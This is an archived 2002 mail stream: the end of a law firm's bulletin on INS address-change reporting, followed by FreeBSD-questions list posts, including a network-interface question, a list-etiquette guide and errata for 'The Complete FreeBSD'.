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size=3D3>Change of Address<o:p></o:p></FONT></U></EM></SPAN></H2>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT =
size=3D3>&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT size=3D3>As part of heightened =
security=20
measures, INS will now actively enforce Section 265 of the Immigration =
and=20
Nationality Act/or 8 U.S.C. 1305, which requires that every foreign =
person in=20
the United States must notify INS within 10 days of any address =
change.<SPAN=20
style=3D"mso-spacerun: yes">&nbsp; </SPAN>The penalty for failure to =
report a=20
change in address is arrest and deportation, and possibly even criminal=20
prosecution.<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT =
size=3D3>&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT size=3D3>You must report an =
Address Change,=20
using Form AR-11, if:<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT =
size=3D3>&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT size=3D3>1. You are a resident =
(visa or green=20
card holder) and<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoBodyText style=3D"MARGIN: 0in 0in 0pt"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT size=3D3>2. You are 14 years of =
age or older=20
(parents must report children under 18 years of age)=20
and<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT size=3D3>3. You have moved or your =
address has=20
changed from the address on file at the =
INS.<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT =
size=3D3>&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT size=3D3>If you have not filed an =
address=20
change, you should do so.<SPAN style=3D"mso-spacerun: yes">&nbsp; =
</SPAN>It is=20
better to file a late address change than not to file one at all. Make =
sure to=20
keep a copy and proof of sending the notification (via certified US =
Postal=20
Service mail) to INS for your personal =
records.<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT =
size=3D3>&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT size=3D3>To report a change of =
address, please=20
visit our website: </FONT><A href=3D"http://www.greencard1.com/"><FONT=20
size=3D3>http://www.greencard1.com</FONT></A><FONT size=3D3> (resources=20
section).<SPAN style=3D"mso-spacerun: yes">&nbsp; </SPAN>Our website has =
a link to=20
the INS website where you can find </FONT><A=20
href=3D"http://www.greencard1.com/Forms/ins_forms/ar-11.pdf"><FONT =
size=3D3>Form=20
AR-11</FONT></A><FONT size=3D3>.<SPAN style=3D"mso-spacerun: yes">&nbsp; =

</SPAN></FONT><A=20
href=3D"http://www.greencard1.com/Forms/ins_forms/ar-11.pdf"><FONT =
size=3D3>Form=20
AR-11</FONT></A><FONT size=3D3> provides instructions on how to fill it =
out and=20
where to file it.<SPAN style=3D"mso-spacerun: yes">&nbsp; </SPAN>You can =
also=20
visit the INS website directly at: </FONT><A=20
href=3D"http://64.4.30.250:80/cgi-bin/linkrd?_lang=3DEN&amp;lah=3Dee2854d=
b50af2080af45dd1a7b17385f&amp;lat=3D1027963464&amp;hm___action=3Dhttp%3a%=
2f%2fwww%2eins%2egov%2fgraphics%2fformsfee%2fforms%2far%2d11%2ehtm"=20
target=3D_blank><FONT color=3D#000099=20
size=3D3>http://www.ins.gov/graphics/formsfee/forms/ar-11.htm</FONT></A><=
o:p></o:p></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT =
size=3D3>&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><B><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT size=3D3>As stated, if you wish to =
discuss any=20
of the above, please contact us at 415/291-8000 and one of our attorneys =
will be=20
happy to speak with you.<SPAN style=3D"mso-spacerun: yes">&nbsp; =
</SPAN>Please=20
notify us if you have a pending I-140 case with our office.=20
<o:p></o:p></FONT></SPAN></B></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><I><SPAN=20
style=3D"FONT-SIZE: 8pt; COLOR: black; FONT-FAMILY: Garamond; =
mso-bidi-font-size: 12.0pt"></SPAN></I>&nbsp;</P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><I><SPAN=20
style=3D"FONT-SIZE: 8pt; COLOR: black; FONT-FAMILY: Garamond; =
mso-bidi-font-size: 12.0pt"></SPAN></I>&nbsp;</P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><I><SPAN=20
style=3D"FONT-SIZE: 8pt; COLOR: black; FONT-FAMILY: Garamond; =
mso-bidi-font-size: 12.0pt">&gt;&gt;WE=20
RESPECT YOUR PRIVACY.<SPAN style=3D"mso-spacerun: yes">&nbsp; </SPAN>IF =
YOU WOULD=20
RATHER NOT RECEIVE THESE BULLETINS, PLEASE REPLY WITH =93UNSUBSCRIBE=94 =
IN THE=20
SUBJECT=20
LINE&lt;&lt;<o:p></o:p></SPAN></I></P></FONT></DIV></FONT></DIV></BODY></=
HTML>

--Boundary_(ID_kqi2RkiuMj0tNrXP4VLAAQ)--

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From owner-freebsd-questions  Fri Aug  2 16:51: 9 2002
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On Fri, 2 Aug 2002, Mike wrote:
> Stick with videos.. Please. --
> The unixhideout network
> http://www.unixhideout.com

Very funny.  You mean "videoconferencing."  And anyways, there is an
expression: "The best of both worlds," you know?

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Fri Aug  2 16:51:14 2002
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Date: Fri, 2 Aug 2002 17:50:59 -0600
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Subject: rl0f[0-3]
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I have no Idea where these came from, but I've tried everything
I can to get rid of them

bash-2.04$ ifconfig -a
rl0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        inet6 fe80::24f:4eff:fe03:389c%rl0 prefixlen 64 scopeid 0x1 
        inet 192.168.1.132 netmask 0xffffff00 broadcast 192.168.1.255
        ether 00:4f:4e:03:38:9c
        media: Ethernet autoselect (100baseTX <full-duplex>)
        status: active
lp0: flags=8810<POINTOPOINT,SIMPLEX,MULTICAST> mtu 1500

----these-----

rl0f0: flags=8842<BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        ether 00:4f:4e:03:38:9c
rl0f1: flags=8842<BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        ether 00:4f:4e:03:38:9c
rl0f2: flags=8842<BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        ether 00:4f:4e:03:38:9c
rl0f3: flags=8842<BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        ether 00:4f:4e:03:38:9c

-------------

lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
        inet6 ::1 prefixlen 128 
        inet6 fe80::1%lo0 prefixlen 64 scopeid 0x7 
        inet 127.0.0.1 netmask 0xff000000 

bash-2.04$ sudo ifconfig rl0f0 destroy
ifconfig: SIOCIFDESTROY: Invalid argument


any ideas?

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From owner-freebsd-questions  Fri Aug  2 17: 2:19 2002
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Subject: How to get best results from FreeBSD-questions
Message-Id: <20020803000205.B00EE37B405@hub.freebsd.org>
Date: Fri,  2 Aug 2002 17:02:05 -0700 (PDT)
From: grog@FreeBSD.ORG (Greg Lehey)
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How to get the best results from FreeBSD questions.
===================================================

Last update 3 September 1999

This is a regular posting to the FreeBSD questions mailing list.  If
you got it in answer to a message you sent, it means that the sender
thinks that at least one of the following things was wrong with your
message:

- You left out a subject line, or the subject line was not appropriate.
- You formatted it in such a way that it was difficult to read.
- You asked more than one unrelated question in one message.
- You sent out a message with an incorrect date, time or time zone.
- You sent out the same message more than once.
- You sent an 'unsubscribe' message to FreeBSD-questions.

If you have done any of these things, there is a good chance that you
will get more than one copy of this message from different people.
Read on, and your next message will be more successful.

This document is also available on the web at
http://www.lemis.com/questions.html.

=====================================================================

Contents:

I:    Introduction
II:   How to unsubscribe from FreeBSD-questions
III:  Should I ask -questions or -hackers?
IV:   How to submit a question to FreeBSD-questions
V:    How to answer a question to FreeBSD-questions

I: Introduction
===============

This is a regular posting aimed to help both those seeking advice from
FreeBSD-questions (the "newcomers"), and also those who answer the
questions (the "hackers").

       Note that the term "hacker" has nothing to do with breaking
       into other people's computers.  The correct term for the latter
       activity is "cracker", but the popular press hasn't found out
       yet.  The FreeBSD hackers disapprove strongly of cracking
       security, and have nothing to do with it.

In the past, there has been some friction which stems from the
different viewpoints of the two groups.  The newcomers accused the
hackers of being arrogant, stuck-up, and unhelpful, while the hackers
accused the newcomers of being stupid, unable to read plain English,
and expecting everything to be handed to them on a silver platter.  Of
course, there's an element of truth in both these claims, but for the
most part these viewpoints come from a sense of frustration.

In this document, I'd like to do something to relieve this frustration
and help everybody get better results from FreeBSD-questions.  In the
following section, I recommend how to submit a question; after that,
we'll look at how to answer one.

II:  How to unsubscribe from FreeBSD-questions
==============================================

When you subscribed to FreeBSD-questions, you got a welcome message
from Majordomo@FreeBSD.ORG.  In this message, amongst other things, it
told you how to unsubscribe.  Here's a typical message:

  Welcome to the freebsd-questions mailing list!

  If you ever want to remove yourself from this mailing list,
  you can send mail to "Majordomo@FreeBSD.ORG" with the following command
  in the body of your email message:

      unsubscribe freebsd-questions Greg Lehey <grog@lemis.de>

  Here's the general information for the list you've
  subscribed to, in case you don't already have it:

  FREEBSD-QUESTIONS               User questions
  This is the mailing list for questions about FreeBSD.  You should not
  send "how to" questions to the technical lists unless you consider the
  question to be pretty technical.

Normally, unsubscribing is even simpler than the message suggests: you
don't need to specify your mail ID unless it is different from the one
which you specified when you subscribed.

If Majordomo replies and tells you (incorrectly) that you're not on
the list, this may mean one of two things:

  1.  You have changed your mail ID since you subscribed.  That's where
      keeping the original message from majordomo comes in handy.  For
      example, the sample message above shows my mail ID as
      grog@lemis.de.  Since then, I have changed it to
      grog@lemis.com.  If I were to try to remove grog@lemis.com from
      the list, it would fail: I would have to specify the name with
      which I joined.

  2.  You're subscribed to a mailing list which is subscribed to
      FreeBSD-questions.  If that's the case, you'll have to figure out
      which one it is and get your name taken off that one.  If you're
      not sure which one it might be, check the headers of the
      messages you receive from freebsd-questions: maybe there's a
      clue there.

If you've done all this, and you still can't figure out what's going
on, send a message to Postmaster@FreeBSD.org, and he will sort things
out for you.  Don't send a message to FreeBSD-questions: they can't
help you.

III: Should I ask -questions, -newbies or -hackers?
===================================================

Two mailing lists handle general questions about FreeBSD,
FreeBSD-questions and FreeBSD-hackers.  In addition, the
FreeBSD-newbies list caters specifically for people who are new to
FreeBSD and may be having trouble getting used to the environment.  In
some cases, it's not really clear which group you should ask.  The
following criteria should help for 99% of all questions, however:

     If the question is of a general nature, first check whether this
     isn't a Frequently Asked Question (FAQ).  There's a list of these
     questions at http://www.freebsd.org/FAQ/FAQ.html, and also on
     your own system (once you've installed it) at
     /usr/share/doc/FAQ/FAQ.html.  Check there, and if you don't find
     an answer, ask FreeBSD-questions.  Examples might be questions
     about installing FreeBSD or the use of a particular UNIX utility.

     If you think the question relates to a bug, but you're not sure,
     or you don't know how to look for it, send the message to
     FreeBSD-questions.

     If the question relates to a bug, and you're almost sure that
     it's a bug (for example, you can pinpoint the place in the code
     where it happens, and you maybe have a fix), then send the
     message to FreeBSD-hackers.  You should also enter a problem
     report with the send-pr utility.

     If the question relates to enhancements to FreeBSD, and you can
     make suggestions about how to implement them, then send the
     message to FreeBSD-hackers.

     If the question is of particularly technical nature, such as
     implementation details or suggestions for improvements, then send
     the message to FreeBSD-hackers.

     If you're new to FreeBSD, and the message is about your own
     relationship to FreeBSD, send the message to FreeBSD-newbies.

There are also a number of other specialized mailing lists, for
example FreeBSD-isp, which caters to the interests of ISPs (Internet
Service Providers) who run FreeBSD.  If you happen to be an ISP, this
doesn't mean you should automatically send your questions to
FreeBSD-isp.  The criteria above still apply, and it's in your
interest to stick to them, since you're more likely to get good
results that way.

IV:  How to submit a question
=============================

When submitting a question to FreeBSD-questions, consider the
following points:

  1.  Remember that nobody gets paid for answering a FreeBSD question.
      They do it of their own free will.  You can influence this free
      will positively by submitting a well-formulated question
      supplying as much relevant information as possible.  You can
      influence this free will negatively by submitting an incomplete,
      illegible, or rude question.  It's perfectly possible to send a
      message to FreeBSD-questions and not get an answer even if you
      follow these rules.  It's much more possible to not get an
      answer if you don't.  In the rest of this document, we'll look
      at how to get the most out of your question to
      FreeBSD-questions.

  2.  Not everybody who answers FreeBSD questions reads every message:
      they look at the subject line and decide whether it interests
      them.  Clearly, it's in your interest to specify a subject.
      ``FreeBSD problem'' or ``Help'' aren't enough.  If you provide
      no subject at all, many people won't bother reading it.  If your
      subject isn't specific enough, the people who can answer it may
      not read it.

  3.  Format your message so that it is legible, and PLEASE DON'T
      SHOUT!!!!!.  We appreciate that a lot of people don't speak
      English as their first language, and we try to make allowances
      for that, but it's really painful to try to read a message
      written full of typos or without any line breaks.  A lot of
      badly formatted messages come from bad mailers or badly
      configured mailers.  The following mailers are known to send out
      badly formatted messages without you finding out about them:

      Eudora
      exmh
      Microsoft Exchange
      Microsoft Internet Mail
      Microsoft Outlook
      Netscape

      As you can see, the mailers in the Microsoft world are frequent
      offenders.  If at all possible, use a UNIX mailer.  If you must
      use a mailer under Microsoft environments, make sure it is set
      up correctly.  Try not to use MIME: a lot of people use mailers
      which don't get on very well with MIME.

      For further information on this subject, check out
      http://www.lemis.com/email.html.

  4.  Make sure your time and time zone are set correctly.  This may
      seem a little silly, since your message still gets there, but
      many of the people you are trying to reach get several hundred
      messages a day.  They frequently sort the incoming messages by
      subject and by date, and if your message doesn't come before the
      first answer, they may assume they missed it and not bother to
      look.

  5.  Don't include unrelated questions in the same message.  Firstly,
      a long message tends to scare people off, and secondly, it's
      more difficult to get all the people who can answer all the
      questions to read the message.

  6.  Specify as much information as possible.  This is a difficult
      area, and we need to expand on what information you need to
      submit, but here's a start:

         If you get error messages, don't say ``I get error
         messages'', say (for example) ``I get the error message 'No
         route to host'''.

         If your system panics, don't say ``My system panicked'', say
         (for example) ``my system panicked with the message 'free
         vnode isn't'''.

         If you have difficulty installing FreeBSD, please tell us
         what hardware you have.  In particular, it's important to
         know the IRQs and I/O addresses of the boards installed in
         your machine.

         If you have difficulty getting PPP to run, describe the
         configuration.  Which version of PPP do you use? What kind of
         authentication do you have? Do you have a static or dynamic
         IP address? What kind of messages do you get in the log file?

  7.  If you don't get an answer immediately, or if you don't even see
      your own message appear on the list immediately, don't resend
      the message.  Wait at least 24 hours.  The FreeBSD mailer
      offloads messages to a number of subordinate mailers around the
      world, and sometimes it can take several hours for the mail to
      get through.  And once it gets through, the one person who might
      know the answer will probably just have gone to bed in his part
      of the world.

  8.  If you do all this, and you still don't get an answer, there
      could be other reasons.  For example, the problem is so
      complicated that nobody knows the answer, or the person who does
      know the answer was offline.  If you don't get an answer after,
      say, a week, it might help to re-send the message.  If you don't
      get an answer to your second message, though, you're probably
      not going to get one from this forum.  Resending the same
      message again and again will only make you unpopular.

To summarize, let's assume you know the answer to the following
question (yes, it's the same one in each case :-).  You choose which of
these two questions you would be more prepared to answer:


Message 1:
Subject: (none)

I just can't get hits damn silly FereBSD system to workd, and Im really good at this tsuff, but I have never seen anythign sho difficult to install, it jst wont work whatever I try so why don't y9ou guys tell me what I doing wrong.

----------------------------------------------------------------------

Message 2:
Subject: Problems installing FreeBSD

I've just got the FreeBSD 2.1.5 CD-ROM from Walnut Creek, and I'm
having a lot of difficulty installing it.  I have a 66 MHz 486 with 16
MB of memory and an Adaptec 1540A SCSI board, a 1.2GB Quantum Fireball
disk and a Toshiba 3501XA CD-ROM drive.  The installation works just
fine, but when I try to reboot the system, I get the message "Missing
Operating System".

----------------------------------------------------------------------

V: How to follow up to a question
=================================

Often you will want to send in additional information to a question
you have already sent.  The best way to do this is to reply to your
original message.  This has three advantages:

1.  You include the original message text, so people will know what
    you're talking about.  Don't forget to trim unnecessary text out,
    though.

2.  The text in the subject line stays the same (you did remember to
    put one in, didn't you?).  Many mailers will sort messages by
    subject.  This helps group messages together.

3.  The message reference numbers in the header will refer to the
    previous message.  Some mailers, such as mutt, can thread messages,
    showing the exact relationships between the messages.

VI: How to answer a question
============================

Before you answer a question to FreeBSD-questions, consider:

1.  A lot of the points on submitting questions also apply to
    answering questions.  Read them.

2.  Has somebody already answered the question?  The easiest way to
    check this is to sort your incoming mail by subject: then
    (hopefully) you'll see the question followed by any answers, all
    together.

    If somebody has already answered it, it doesn't automatically mean
    that you shouldn't send another answer.  But it makes sense to
    read all the other answers first.

3.  Do you have something to contribute beyond what has already been
    said?  In general, "Yeah, me too" answers don't help much,
    although there are exceptions, like when somebody is describing a
    problem he's having, and he doesn't know whether it's his fault or
    whether there's something wrong with the hardware or software.  If
    you do send a "me too" answer, you should also include any further
    relevant information.

4.  Are you sure you understand the question? Very frequently, the
    person who asks the question is confused or doesn't express
    himself very well.  Even with the best understanding of the system,
    it's easy to send a reply which doesn't answer the question.  This
    doesn't help: you'll leave the person who submitted the question
    more frustrated or confused than ever.  If nobody else answers, and
    you're not too sure either, you can always ask for more
    information.

5.  Are you sure your answer is correct?  If not, wait a day or so.
    If nobody else comes up with a better answer, you can still reply
    and say, for example, "I don't know if this is correct, but since
    nobody else has replied, why don't you try replacing your ATAPI
    CD-ROM with a frog?".

6.  Unless there's a good reason to do otherwise, reply to the sender
    and to FreeBSD-questions.  Many people on the FreeBSD-questions
    are "lurkers": they learn by reading messages sent and replied to
    by others.  If you take a message which is of general interest off
    the list, you're depriving these people of their information.  Be
    careful with group replies; lots of people send messages with
    hundreds of CCs.  If this is the case, be sure to trim the Cc:
    lines appropriately.

7.  Include relevant text from the original message. Trim it to the
    minimum, but don't overdo it. It should still be possible for
    somebody who didn't read the original message to understand what
    you're talking about.

8.  Use some technique to identify which text came from the original
    message, and which text you add. I personally find that prepending
    ``> '' to the original message works best. Leaving white space
    after the ``> '' and leave empty lines between your text and the
    original text both make the result more readable.

9.  Put your response in the correct place (after the text to which it
    replies). It's very difficult to read a thread of responses where
    each reply comes before the text to which it replies.

10.  Most mailers change the subject line on a reply by prepending a
     text such as ``Re: ''. If your mailer doesn't do it
     automatically, you should do it manually.

11.  If the submitter didn't abide by format conventions (lines too
     long, inappropriate subject line), please fix it.  In the case of
     an incorrect subject line (such as ``HELP!!??''), change the
     subject line to (say) ``Re: Difficulties with sync PPP (was:
     HELP!!??)''. That way other people trying to follow the thread
     will have less difficulty following it.

     In such cases, it's appropriate to say what you did and why you
     did it, but try not to be rude.  If you find you can't answer
     without being rude, don't answer.

     If you just want to reply to a message because of its bad format,
     just reply to the submitter, not to the list.  You can just send
     him this message in reply, if you like.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-questions" in the body of the message


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Subject: "The Complete FreeBSD", second edition: errata and addenda
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Date: Fri,  2 Aug 2002 17:02:06 -0700 (PDT)
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          Errata and addenda for the Complete FreeBSD, second edition




                          Last revision: 21 June 1999

The trouble with books is that you can't update them the way you can a web page
or any other online documentation.   The  result  is  that  most  leading  edge
computer  books are out of date almost before they are printed.  Unfortunately,
``The Complete FreeBSD'', published by Walnut  Creek,  is  no  exception.   In-
evitably, a number of bugs and changes have surfaced.

The  following  is  a list of modifications which go beyond simple typos.  They
relate to the second edition, formatted on 16 December 1997.  If you have  this
book,  please  check this list.  If you have the first edition of 19 July 1996,
please check ftp://ftp.lemis.com/pub/cfbsd/errata-1. This  same  file  is  also
available via the web link http://www.lemis.com/.

This list is available in four forms:

o A     PostScript     version,     suitable     for     printing    out,    at
  ftp://ftp.lemis.com/pub/cfbsd/errata-2.ps. See page 222 of the book  to  find
  out  how  to  print  out  PostScript.   If  at all possible, please take this
  document: it's closest to the original text.

  Be careful selecting this file with a web browser: it is often impossible  to
  reload the document, and you may see a previously cached version.

o An enhanced ASCII version at ftp://ftp.lemis.com/pub/cfbsd/errata-2.txt. When
  viewed with more or less,  this  version  will  show  some  highlighting  and
  underlining.  It's not suitable for direct viewing.

o An  ASCII-only  version at ftp://ftp.lemis.com/pub/cfbsd/errata-2.ascii. This
  version is posted every week to the  FreeBSD-questions  mailing  list.   Only
  take  this version if you have real problems with PostScript: I can't be sure
  that the lack of different fonts won't confuse the meaning.

o A web version at http://www.lemis.com/errata-2.html.

All these modifications have been applied to the ongoing  source  text  of  the
book, so if you buy a later edition, they will be in it as well.  If you find a

                                                                         Page 1






The Complete FreeBSD


bug or a suspected bug in the book, please contact me at <grog@FreeBSD.org.>

General changes
_______________


o In a number of places, I suggest the use of the  following  command  to  find
  process information:

  $ ps aux | grep foo

  Unfortunately,  ps  is sensitive to the column width of the terminal emulator
  upon which it is working.  This command usually works fine  on  a  relatively
  wide  xterm,  but if you're running on an 80-column terminal, it may truncate
  exactly the information you're looking for, so you end  up  with  no  output.
  You can fix that with the w option:

  $ ps waux | grep foo

  Thanks to Sue Blake <sue@welearn.com.au> for this information


Location of the sample files
____________________________

On  the  2.2.5 CD-ROM only, the location of the sample files does not match the
specifications in the book (/book on the first CD-ROM).  The 2.2.5 CD-ROM  came
out before the book, and it contains the files on the third (repository) CD-ROM
as a single gzipped tar file  /xperimnt/cfbsd/cfbsd.tar.gz.   It  contains  the
following files:

drwxr-xr-x jkh/jkh           0 Oct 17 13:01 1997 cfbsd/
drwxr-xr-x jkh/jkh           0 Oct 17 13:01 1997 cfbsd/mutt/
-rw-r--r-- jkh/jkh         352 Oct 15 15:21 1997 cfbsd/mutt/.mail_aliases
-rw-r--r-- jkh/jkh        9394 Oct 15 15:22 1997 cfbsd/mutt/.muttrc
drwxr-xr-x jkh/jkh           0 Oct 17 14:02 1997 cfbsd/scripts/
-rw-r--r-- jkh/jkh       18281 Oct 16 16:52 1997 cfbsd/scripts/.fvwm2rc
-rwxr-xr-x jkh/jkh        1392 Oct 17 12:54 1997 cfbsd/scripts/install-desktop
-rw-r--r-- jkh/jkh         296 Oct 17 12:35 1997 cfbsd/scripts/.xinitrc
-rwxr-xr-x jkh/jkh         622 Oct 17 13:51 1997 cfbsd/scripts/install-rcfiles
-rw-r--r-- jkh/jkh        1133 Oct 17 13:00 1997 cfbsd/scripts/Uutry
-rw-r--r-- jkh/jkh        1028 Oct 17 14:02 1997 cfbsd/scripts/README
drwxr-xr-x jkh/jkh           0 Oct 18 19:32 1997 cfbsd/docs/
-rw-r--r-- jkh/jkh      199111 Oct 16 14:29 1997 cfbsd/docs/packages.txt

Page 2






                    Errata and addenda for the Complete FreeBSD, second edition


-rw-r--r-- jkh/jkh      189333 Oct 16 14:28 1997 cfbsd/docs/packages-by-category.txt
-rw-r--r-- jkh/jkh      188108 Oct 16 14:29 1997 cfbsd/docs/packages.ps
-rw-r--r-- jkh/jkh      226439 Oct 16 14:27 1997 cfbsd/docs/packages-by-category.ps
-rw-r--r-- jkh/jkh         788 Oct 16 15:01 1997 cfbsd/README
-rw-r--r-- jkh/jkh         248 Oct 17 11:52 1997 cfbsd/errata

To  extract  one  of these files, say cfbsd/docs/packages.txt, and assuming you
have the CD-ROM mounted as /cdrom, enter:

# cd /usr/share/doc
# tar xvzf /cdrom/xperimnt/cfbsd/cfbsd.tar.gz cfbsd/docs/packages.txt

See page 209 for more information on using tar.

These files are an early version of what is described in the book.  I'll put up
some updated versions on ftp://ftp.lemis.com/ in the near future.

Thanks  to Frank McCormick <gfm@readybox.com> for drawing this to my attention.

Chapter 8: Setting up X11
_________________________

For FreeBSD 2.2.7, this chapter has changed sufficiently to make it impractical
to   distribute   errata.    You  can  download  the  PostScript  version  from
ftp://www.lemis.com/pub/cfbsd/xsetup.ps,   or   the    ASCII    version    from
ftp://www.lemis.com/pub/cfbsd/xsetup.txt.  No HTML version is available.

Page xxxiv
__________

Before the discussion of the shell prompts in the middle of the page, add:

In this book, I recommend the use of the Bourne shell or one of its descendents
(sh, bash, pdksh, ksh or zsh).  With the exception of sh, they are all  in  the
Ports Collection.  I personally use the bash shell.

This  is a personal preference, and a recommendation, but it's not the standard
shell.  The standard BSD shell is the  C  shell  (csh),  which  has  a  fuller-
featured  descendent  tcsh.   In particular, the standard installation sets the
root user up with a csh.  See page 152 (in this errata) for details of  how  to
change the shell.




                                                                         Page 3






General changes


Page 11: Reading the handbook
_____________________________

The  CD-ROM  now includes Netscape.  Replace the last paragraph on the page and
the example on the following page with:

If you're running X, you can use a browser like netscape to read the  handbook.
If you don't have X running yet, use lynx.  Both of these programs are included
on the CD-ROM.  To install them, enter:

# pkg_add /cdrom/packages/All/netscape-communicator-4.5.tgz
or
# pkg_add /cdrom/packages/All/lynx-2.8.1.1.tgz

The numbers after the name (4.5 and 2.8.1.1) may change  after  this  book  has
been  printed.   Use  ls  to  list the names if you can't find these particular
versions.

Note that lynx is not a complete substitute for netscape:  since  it  is  text-
only,  it  is  not  capable  of  displaying  the  large  majority  of web pages
correctly.  It will suffice for reading most of the handbook, however.

Thanks to Stuart Henderson <stuart@internationalschool.co.uk> and <gkaplan@cas-
tle.net> for drawing this to my attention.

Page 12: Printing the handbook
______________________________

The instructions for formatting the handbook are obsolete.  Replace the section
starting Alternatively, you can print out the handbook with the following text:

Alternatively,  you  can  print  out  the  handbook.   You  need  to  have  the
documentation sources (/usr/doc) installed on your system.  You can  find  them
on the second CD-ROM in the directory of the same name.  To install them, first
mount your CD-ROM (see page 175).  Then enter:

$ cd /cdrom/usr/doc/handbook
$ mkdir -p /usr/doc/handbook            you may need to be root for this operation
$ cp -pr * /usr/doc/handbook

You have a choice of formats for the output:

o ascii will give you plain 7-bit ASCII  output,  suitable  for  reading  on  a
  character-mode terminal.

Page 4






                    Errata and addenda for the Complete FreeBSD, second edition


o html will give you HTML output, suitable for browsing with a web browser.

o latex  will  give  you LATEX format, suitable for further processing with TEX
  and LATEX.

o ps will give you PostScript output, probably the best choice for printing.

o roff will give you output in troff source.  You can process this output  with
  nroff  or  troff,  but  it's  currently not very polished.  LATEX output is a
  better choice if you want to process it further.

Once you have decided your format,  use  make  to  create  the  document.   For
example, if you decide on PostScript format, you would enter:

$ make FORMATS=ps

This  creates  a  file  handbook.ps  which  you  can then print to a PostScript
printer or with the aid of ghostscript (see page 222).

Thanks to Bob Beer <r-beer@onu.edu> for drawing this to my attention.

Page 45:  Preparing floppies for installation
_____________________________________________

Replace the paragraph below the list of file names (in the middle of the  page)
with:

The  floppy  set should contain the file bin.inf and the ones whose names start
with bin. followed by two letters.  These other  files  are  all  240640  bytes
long,  except  for the final one which is usually shorter.  Use the MS-DOS COPY
program to copy as many files as will fit onto each disk (5 or 6) until  you've
got  all  the  distributions  you  want  packed  up in this fashion.  Copy each
distribution into subdirectory corresponding to  the  base  name--for  example,
copy the bin distribution to the files A:\BIN\BIN.INF, A:\BIN\BIN.AA and so on.

Page 80 and 81
______________

In a couple of examples, the FreeBSD partition is shown as type 164.  It should
be  165.   Thanks  to an unknown contributer for this correction (sorry, I lost
your name).




                                                                         Page 5






General changes


Page 88: setting up for dumping
_______________________________

The example mentions a variable savecore in /etc/rc.conf.  This variable is  no
longer used--it's enough to set the variable dumpdev.

Page 92
_______

At the end of the section How to install a package add the text:

Alternatively,  you  can  install  packages  from  the  /stand/sysinstall Final
Configuration Menu.  We saw this menu on page in figure 4-14 on page 71.   When
you  start  sysinstall from the command line, you get to this menu by selecting
Index, and then selecting Configure.


Page 93
_______

Before the heading Install ports from the first CD-ROM add:


Install ports when installing the system
________________________________________

The file ports/ports.tgz on the first CD-ROM is a tar  archive  containing  all
the  ports.   You  can install it with the base system if you select the Custom
distribution and include the ports collection.  If you didn't install  them  at
the  time,  use  the  following method to install them all (about 40 MB).  Make
sure your CD-ROM is mounted (in this example on /cdrom), and enter:

Page 96
_______

Replace the example at the top of the page with:

Instead, do:

# cd /cd4/ports/distfiles
# mkdir -p /usr/ports/distfiles              make sure you have a distfiles directory
# for i in *; do
>   ln -s /cd4/ports/distfiles/$i /usr/ports/distfiles/$i
> done

Page 6






                    Errata and addenda for the Complete FreeBSD, second edition


If you're using csh or tcsh, enter:

# cd /cd4/ports/distfiles
# mkdir -p /usr/ports/distfiles              make sure you have a distfiles directory
# foreach i (*)
